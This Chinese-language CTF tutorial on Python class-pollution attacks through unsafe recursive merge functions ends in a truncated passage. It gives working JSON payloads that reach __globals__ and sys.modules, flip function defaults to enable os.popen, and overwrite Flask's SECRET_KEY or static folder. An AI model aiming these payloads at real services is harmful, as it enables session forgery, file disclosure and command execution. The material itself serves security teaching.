专栏名称: 衡阳信安
船山院士网络安全团队唯一公众号,为国之安全而奋斗,为信息安全而发声!
目录
相关文章推荐
大树乡谈  ·  闲聊三五句 ·  21 小时前  
练瑜伽  ·  刘晓庆很会挑起别人的嫉妒心 ·  2 天前  
51好读  ›  专栏  ›  衡阳信安

Python原型链污染

衡阳信安  · 公众号  ·  · 2024-08-27 00:00

正文

从Merge开始

我们这里还是从常见的merge函数来做入手举例,因为其实对于原型链污染来说,本质上都是一个东西,只是基于不同的语言特性,某些存在局限性,但是讲到merge大家都应该想到和原型链污染有关。

这里我就把这个关键的merge的定义放在这里,其实是同nodejs一样的操作

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

可以看到也是通过键值互换来进行的污染,但是这里要注意在python中的object的属性是不可以被污染的,具体的后面会说。

一个最简单的实例:

def merge(src, dst):  
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class ctfer:
flag = "flag{fake_flag}"

class Delete(ctfer):
pass

class Chu0(ctfer):
pass

ctf1 = Delete()
ctf2 = Chu0()
evil_playload = {
"__class__":
{
"__base__":
{
"flag": "flag{really_flag}"
}
}
}
print(ctf1.flag)
print(ctf2.flag)
merge(evil_playload, ctf1)
print(ctf1.flag)
print(ctf2.flag)

运行结果,可以看到是被污染的了




然后其他的例如修改内置属性也是ok的这里就不写了。
记住object的属性是无法被污染的`

merge(evil_playload,object)
print(object)

#TypeError: cannot set 'flag' attribute of immutable type 'object'

可以看到会报错的

Question1

这里就产生了一个问题,我们在上述的写法当中是利用Delete去继承了ctfer这个类的,这样子我们才可以通过基类去污染其属性值,但是如果不存在这个继承关系的时候我们应该如何去污染呢?

_\globals__

我们就可以去思索一下关于python的一些问题,例如在SSTI中我们是如何去获取我们可用的属性或者说方法呢?
应该很直观就能想到,是他—— __globals__ .
__globals__ 是 Python 函数对象的一个属性,它返回包含函数定义时的全局变量的字典。通过这个属性,你可以访问和修改函数定义所在的模块中的全局变量。

x = 10  # 全局变量

def my_function():
print(x) # 打印全局变量 x

def modify_global_var():
my_function.__globals__['x'] = 20 # 修改全局变量 x

my_function() # 输出 10
modify_global_var()
my_function() # 输出 20

可以看到实例当中我们通过这个属性来改变了全局变量中的x。

所以我们就可以这样去构造一下playload

evil_playload = {
"__init__":{
"__globals__":{
"flag" : "flag{really_flag}"
}

}
}

这样子就可以去应对于不存在继承链的情况

Question2

我们再想要一个场景,虽然说在一些题目场景来说,大多都是在main.py中去import一个test.py,并且关系比较简单的时候,通常都可以利用上面的方法来进行污染,当关系比较复杂的时候就比较麻烦,例如多层import 或者导入第三方库来导入的时候比较麻烦,这里就提供了几个方法

Module sys

我们这里就可以利用sys来实现。这个应该不用多说了

main.py

import test1  
import sys
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Test():
def __init__(self):
pass

evil_playload = {
"__init__":{
"__globals__":{
"sys":{
"modules":{
"test1":{
"Test1": {
"flag" :"flag{really_flag}"
}
}
}
}
}
}
}
test = Test()
print(test1.Test1.flag)
merge(evil_playload,test)
print(test1.Test1.flag)

test1.py

class Test1:  
flag = "flag{fake_flag}"

Loader加载器

我们的sys使用是在题目环境中有给你sys的情况下才会可以使用的,但是如果题目不给你,那么sys基本上也是G了,所以咱们就着手一下其他方面

为了进一步优化,这里采用方式是利用 Python 中加载器 loader ,在官方文档中给出的定义是



也就是加载类的东西。

about spec

__spec__ 内置属性在 Python 3.4 版本引入,其包含了关于类加载时的信息,本身是定义在 Lib/importlib/_bootstrap.py 的类 ModuleSpec ,显然因为定义在 importlib 模块下的 py 文件,所以可以直接采用 <模块名>.__spec__.__init__.__globals__['sys'] 获取到 sys 模块

所以我们就可以利用任意的类来进行加载sys从而达到前面的目的
这里有个demo可以看看‘

import math  
# 获取模块的loader
loader = math.__spec__.__init__.__globals__['sys']
# 打印loader信息
print(loader.modules)
# {'sys': , 'builtins': , '_frozen_importlib': , .......

可以看到我们就可以这么去调用从而去搭配利用打组合拳

默认值替换

函数形参

主要用到了函数的 __defaults__ __kwdefaults__ 这两个内置属性

__defaults__

__defaults__ 是 Python 函数对象的一个属性,它包含函数的默认参数值。 __defaults__ 返回一个包含默认参数值的元组。如果函数没有默认参数, __defaults__ 返回 None

具体的内容可以看这里
python函数的位置参数(Positional)和关键字参数(keyword) - 知乎 (zhihu.com)

根据文章的最后面,我们可以总结一下(巧记一下):

  • / 前面都为仅位置参数

  • / * 前都为位置或关键字参数

  • * 后都为仅关键字参数

  • 仅位置参数不可以利用 变量名 = 变量 赋值,位置或关键字参数可以利用其赋值,也可以不赋值,仅关键词参数必须用 变量名=值 来赋值

def func_a(var_1, var_2 =2, var_3 = 3):
pass

def func_b(var_1, /, var_2 =2, var_3 = 3):
pass

def func_c(var_1, var_2 =2, *, var_3 = 3):
pass

def func_d(var_1, /, var_2 =2, *, var_3 = 3):
pass

print(func_a.__defaults__)
#(2, 3)
print(func_b.__defaults__)
#(2, 3)
print(func_c.__defaults__)
#(2,)
print(func_d.__defaults__)
#(2,)

所以在污染中可以这样

def evil(arg_1 , shell = False):
if not shell:
print(arg_1)
else:
print(__import__("os").popen(arg_1).read())

evil_playload = {
"__init__":{
"__globals__":{
"evil":{
"__defaults__":{
True,
}
}
}
}

}

其实也就是我们如果去获取evil函数的defaluts属性的时候就只能获取到位置或关键字参数,所以这里的defaults默认指向的就是shell这个参数,所以就可以进行污染

__kwdefaluts__

__kwdefaults__ 以字典的形式按从左到右的顺序收录了函数键值形参的默认值,从代码上来看,则是如下的效果:

def func_a(var_1, var_2 =2, var_3 = 3):
pass

def func_b(var_1, /, var_2 =2, var_3 = 3):
pass

def func_c(var_1, var_2 =2, *, var_3 = 3):
pass

def func_d(var_1, /, var_2 =2, *, var_3 = 3):
pass

print(func_a.__kwdefaults__)
#None
print(func_b.__kwdefaults__)
#None
print(func_c.__kwdefaults__)
#{'var_3': 3}
print(func_d.__kwdefaults__)
#{'var_3': 3}

可以看到他仅获取了仅关键字参数,并且返回是以字典的形式返回的。

所以同样的

def evil(arg_1 ,*,shell = False):
if not shell:
print(arg_1)
else:
print(__import__("os").popen(arg_1).read())

evil_payload = {
"__init__" : {
"__globals__" : {
"evilFunc" : {
"__kwdefaults__" : {
"shell" : True
}
}
}
}
}

这样子就可以进行污染了。

特定值污染

环境变量污染

在这几天的i春秋的比赛当中出了这么一个赛题

 highlight_file(__FILE__);
error_reporting(E_ALL);
ini_set('display_errors', 1);
function filter($a)
{
$pattern = array('\'', '"','%','\(','\)',';','bash');
$pattern = '/' . implode('|', $pattern) . '/i';
if (preg_match($pattern,$a)){
die("No injecting!!!");
}
return $a;
}
class ENV{
public $key;
public $value;
public $math;
public function __toString()
{
$key=filter($this->key);
$value=filter($this->value);
putenv("$key=$value");
system("cat hints.txt");
}
public function __wakeup()
{
if (isset($this->math->flag))
{
echo getenv("LD_PRELOAD");
echo "YesYes";
} else {
echo "YesYesYes";
}
}
}
class DIFF{
public $callback;
public $back;
private $flag;

public function __isset($arg1)
{
system("cat /flag");
$this->callback->p;
echo "You are stupid, what exactly is your identity?";

}

}
class FILE{
public $filename;
public $enviroment;
public function __get($arg1){
if("hacker"==$this->enviroment){
echo "Hacker is bad guy!!!";
}
}
public function __call($function_name,$value)
{
if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {
$uploadDir = "/tmp/";
$destination = $uploadDir . md5(time()) . $matches[0];
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
file_put_contents($this->filename, base64_decode($value[0]));
if (rename($this->filename, $destination)) {
echo "文件成功移动到${destination}";
} else {
echo '文件移动失败。';
}
} else {
echo "非法文件名。";
}
}
}
class FUN{
public $fun;
public $value;
public function __get($name)
{
echo "Hacker!aaaaaaaaaaaaa";
$this->fun->getflag($this->value);
}
}

这个是打php的ld_preload
然后如果说他是利用python来写的题目的话,我们就可以通过污染环境变量来打ld_preload劫持,有些时候说不定还能打出非预期,嘻嘻。

flask特定属性污染

密钥替换

这里直接贴代码吧,可以造成任意session伪造甚至改变pin码

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "[+]Config:%s"%(app.config['SECRET_KEY'])

app.run(host="0.0.0.0")

污染链

{
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"Polluted~"
}
}
}
}
}

_got_first_request污染

用于判定是否某次请求为自 Flask 启动后第一次请求,是 Flask.got_first_request 函数的返回值,此外还会影响装饰器 app.before_first_request 的调用,而 _got_first_request 值为假时才会调用:

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

flag = "Is flag here?"

@app.before_first_request
def init():
global flag
if hasattr(app, "special") and app.special == "U_Polluted_It":
flag = open("flag", "rt").read()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
global flag
setattr(app, "special", "U_Polluted_It")
return flag

app.run(host="0.0.0.0")

链子

payload={
"__init__":{
"__globals__":{
"app":{
"_got_first_request":False
}
}
}
}

_static_url_path污染

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "flag in ./flag but heres only static/index.html"
payload={
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}

os.path.pardir

#app.py

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "flag in ./flag but heres only static/index.html"






请到「今天看啥」查看全文